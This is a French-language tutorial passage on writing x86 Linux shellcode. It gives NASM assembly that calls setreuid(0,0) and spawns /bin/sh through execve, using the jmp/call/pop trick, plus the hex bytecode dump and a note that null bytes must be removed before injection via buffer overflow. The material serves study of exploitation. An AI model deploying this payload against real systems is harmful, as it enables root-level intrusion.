Shellcode - écrire un bytecode   Version imprimable de cet article Enregistrer au format PDF


par S3cur3D

Ne pas utiliser le segment data

Nous avons réussi à écrire un programme qui fait apparaître un shell à l’écran, root s’il en a la possibilité, ce qui n’est déjà pas si mal. Maintenant, il faut régler le problème de l’utilisation des segments de mémoire dont on ne doit pas se servir pour le bon fonctionnement du shellcode.
En fait, il faut déclarer la string dans le code (ce que nous savons faire et que nous avons par exemple appliqué dans la partie sur le faux désassemblage). Le problème est de connaître l’adresse de cette chaîne de caractères. Puisque nous ne connaissons pas l’adresse à laquelle va se trouver le shellcode, il faut que l’on soit capable de situer notre variable par rapport à l’EIP (Extended Instruction Pointer). Pour ce, il nous suffit au final d’utiliser les appels jump et call.
L’appel jump change l’adresse de l’EIP vers une adresse de notre choix. Call fait la même chose, mais en plus, il ajoute l’adresse de retour sur la pile où doit retourner EIP une fois l’appel terminé : cela nous suffit donc pour remplir notre objectif. En effet, si nous déclarons la chaine à la fin du programme, que nous utilisons une instruction jmp pour arriver à l’adresse de la chaine puis une instruction call, le fond de la pile ne sera rien d’autre que l’adresse de la chaine, qu’il nous suffit de popper de la pile et de placer dans une variable. Nous avons donc simplement utilisé ce "tour de passe-passe" dans la pile dans le code suivant pour produire quelque chose qui ressemble réellement à un bytecode digne de ce nom.

Bytecode primaire de shellcode

Voici donc le code de la partie précédente où nous avons appliqué le principe énoncé :

  1. ;shellcode.asm
  2.  
  3. mov eax,70 ;on mets eax à 70 pour préparer l'appel à setreuid
  4. mov ebx,0 ;real uid 0 => root
  5. mov ecx,0 ;effective uid 0 => root
  6. int 0x80 ;Syscall 70
  7.  
  8. jmp chaine ;On va au label <chaine>
  9.  
  10. retour: ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
  11. pop ebx ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx
  12.  
  13. mov eax,0 ;on mets 0 dans eax
  14. mov [ebx+7],al ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
  15. ;en fait, on réécrit le 0 de la chaine avec un nul byte
  16. ;al occupe 1 byte
  17. mov [ebx+8],ebx ;on mets l'addresse de la chaine 8 caractères après son début
  18. ;En fait, on réécrit aaaa par l'adresse de cheminshell
  19. mov [ebx+12],eax ;12 caractères après le début, on mets les 4 bytes de eax
  20. ;en fait, on réécrit bbbb par 0x00000000
  21. mov eax,11 ;on mets eax à 11 pour préparer l'appel à execve
  22. lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
  23. lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
  24. int 0x80 ;Syscall 11
  25.  
  26. chaine: ;label chaine où on arrive après le jump
  27. call retour ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
  28. cheminshell db "/bin/sh0aaaabbbb"

Télécharger

Puisqu’il n’y a plus de segments, nous ne pouvons lancer le programme et démontrer l’utilisation de cette technique, il nous faudra attendre l’utilisation finale du shellcode pour le vérifier.

Examinons maintenant le bytecode obtenu à l’aide d’hexedit :

  1. $ nasm shellcode.asm
  2. $ hexedit shellcode
  3. 00000000 66 B8 46 00 00 00 66 BB 00 00 00 00 66 B9 00 00 f.F...f.....f...
  4. 00000010 00 00 CD 80 EB 28 66 5B 66 B8 00 00 00 00 67 88 .....(f[f.....g.
  5. 00000020 43 07 66 67 89 5B 08 66 67 89 43 0C 66 B8 0B 00 C.fg.[.fg.C.f...
  6. 00000030 00 00 66 67 8D 4B 08 66 67 8D 53 0C CD 80 E8 D5 ..fg.K.fg.S.....
  7. 00000040 FF 2F 62 69 6E 2F 73 68 30 61 61 61 61 62 62 62 ./bin/sh0aaaabbb
  8. 00000050 62 b

Télécharger

On remarque les nombreux 00. Or, un 00 dans un shellcode injecté terminerait la chaîne et donc le dépassement de mémoire, c’est pourquoi nous devons dans une dernière étape supprimer tous les bytes nuls de ce bytecode.

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique